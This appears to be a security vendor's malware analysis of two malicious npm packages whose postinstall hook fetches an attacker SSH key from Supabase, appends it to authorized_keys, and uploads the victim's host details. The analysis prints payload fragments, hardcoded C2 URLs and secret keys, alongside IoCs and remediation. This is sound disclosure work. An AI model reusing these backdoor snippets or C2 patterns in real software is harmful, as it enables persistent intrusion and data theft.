Malicious dom-utils-lite npm SSH Backdoor via Supabase
Table of Contents
TL;DR
npm account user0001 <[email protected]> published two malicious packages, dom-utils-lite and centralogger, with identical payloads. On npm install, a postinstall hook fetches the attacker’s SSH public key from a Supabase storage bucket, appends it to ~/.ssh/authorized_keys, harvests the victim’s IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.
Impact:
- Writes the attacker’s SSH public key into
~/.ssh/authorized_keys - Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
- Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
- Empty
catchblocks swallow all errors
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | [email protected] |
| Package | [email protected] (also 1.0.5 through 1.0.8) |
| Maintainer | user0001 <[email protected]> |
| C2 (dom-utils-lite) | hxxps://xienztiavkygvacpqzgr[.]supabase[.]co |
| C2 (centralogger) | hxxps://ndfcioahsbgsjmulpjgt[.]supabase[.]co |
| Supabase bucket | project_bucket |
| SSH key path | public_keys/main.pem.pub |
| Exfil path | logs/{ip}_{hostname}.txt |
| Postinstall | node setup.js |
| SHA-256 (dom-utils-lite) | 4600db4fc30fb6ffa68deed4a25679e674bb3a3e8dae31f3dfc83bea0d757a8f |
| SHA-256 (centralogger) | 2e131f47090516e5a60553aa40d46823e08162390c1d6deb075cf317f00309f7 |
| Backdoor | Attacker’s SSH key appended to ~/.ssh/authorized_keys |
Analysis
Two Packages, One Payload
| Package | Version(s) | Published | Supabase C2 project |
|---|---|---|---|
centralogger | 1.0.5 through 1.0.9 | April 1, 2026 (5 versions in ~7 hours) | ndfcioahsbgsjmulpjgt |
dom-utils-lite | 1.0.0 | April 14, 2026 | xienztiavkygvacpqzgr |
centralogger came first. Five versions in one day suggest the attacker was debugging the postinstall trigger. By dom-utils-lite, a single publish was enough.
Diffing the extracted tarballs shows only two files differ:
diff centralogger/package.json dom-utils-lite/package.json< "name": "centralogger",< "version": "1.0.9",< "description": "A simple logger for application",---> "name": "dom-utils-lite",> "version": "1.0.0",> "description": "",
diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"---> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.
Payload
postinstall runs setup.js, which chains four operations:
async function setup() { try { const publicKey = await getPublicKey(); // fetch SSH key from Supabase await injectKey(publicKey); // write to ~/.ssh/authorized_keys const server = getServerDetails(); // collect IP, username, hostname await uploadMetadata(server); // exfiltrate to Supabase } catch (err) {}}setup();index.js repeats this chain every 60 seconds with exponential-backoff retry.
injectKey.js creates ~/.ssh/ if missing, then appends the attacker’s key tagged ssh-key-auto-sync:
const taggedKey = `${publicKey} ssh-key-auto-sync`;fs.appendFileSync(authFile, '\n' + taggedKey + '\n');supabaseClient.js holds hardcoded credentials. The SSH public key lives at project_bucket/public_keys/main.pem.pub, fetched at runtime so the attacker can rotate keys without republishing.
uploadMeta.js writes victim IP, username, hostname, and timestamp to logs/{ip}_{hostname}.txt with upsert: true. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.
Attack Flow
npm install dom-utils-lite └─ postinstall: node setup.js ├─ fetchKey.js → Downloads SSH public key from Supabase bucket ├─ injectKey.js → Appends key to ~/.ssh/authorized_keys ├─ utils.js → Collects IP, username, hostname └─ uploadMeta.js → Uploads server metadata to Supabase bucket
└─ index.js (if executed via npm start) └─ Same chain on 60-second interval with retryDynamic Analysis
Our eBPF-based dynamic analysis sandbox captured three rule triggers during npm install of [email protected]:
| created_at | analysis_id | rule | output | |
|---|---|---|---|---|
| 1 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652975141+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| 2 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Read ssh information | 2026-04-14T07:54:48.652856311+0000: Error ssh-related file/directory read by non-ssh program | file=/root/.ssh/authorized_keys pcmdline=sh -c node setup.js evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
| 3 | April 14, 2026, 7:54 AM | 01KP5EQZMSVFSTX5CXH0VDD173 | Adding ssh keys to authorized_keys | 2026-04-14T07:54:48.652811211+0000: Warning Adding ssh keys to authorized_keys | file=/root/.ssh/authorized_keys evt_type=openat user=root user_uid=0 user_loginuid=-1 process=node proc_exepath=/usr/local/bin/node parent=sh command=node setup.js terminal=34816 analysis_id=01KP5EQZMSVFSTX5CXH0VDD173 container_id=c8eb76e698b9 container_name=<NA> container_image_repository=<NA> container_image_tag=<NA> k8s_pod_name=<NA> k8s_ns_name=<NA> |
Two “Adding ssh keys to authorized_keys” warnings and one “Read ssh information” error fired at 07:54:48 UTC, all from process chain sh -c node setup.js running as root. The two openat calls on /root/.ssh/authorized_keys match injectKey.js reading existing keys then appending the attacker’s key.
Conclusion
If you installed either package:
- Check
~/.ssh/authorized_keysfor entries taggedssh-key-auto-syncand remove them - Audit
~/.ssh/authorized_keysfor any unrecognized keys - Kill any lingering
nodeprocesses runningindex.jsfrom these packages - Review CI/CD pipelines where either package may have been installed
Any npm package from the user0001 account should be treated as malicious. The [email protected] email, bucket name project_bucket, and path public_keys/main.pem.pub are useful pivot points for hunting additional packages in this campaign.
References
- vet
- malware
- npm
- supply-chain
- ssh-backdoor
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Malicious npm Dependency Confusion Campaign Targets Genoma UI and Others
A dependency confusion campaign by npm user victim59 targets at least three organizations through scoped packages @genoma-ui/components, @needl-ai/common, and rrweb-v1. The packages use install hooks...

@fairwords npm Packages Hit by Credential Worm
Three @fairwords npm packages were compromised with a self-propagating worm that harvests credentials, crypto wallets, Chrome passwords, and spreads to other packages using stolen npm tokens.

big.js Typosquat Campaign Implants SSH Backdoors
Three waves of big.js typosquats (sjs-biginteger, bjs-biginteger, cjs-biginteger) from throwaway npm accounts implant SSH backdoors and exfiltrate credentials to Cloudflare-disguised C2...

Malicious @velora-dex/sdk Delivers Go RAT via npm
Version 9.4.1 of @velora-dex/sdk, a DeFi SDK with ~2,000 weekly downloads, was compromised to deliver a Go-based remote access trojan (minirat) targeting macOS developers.

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
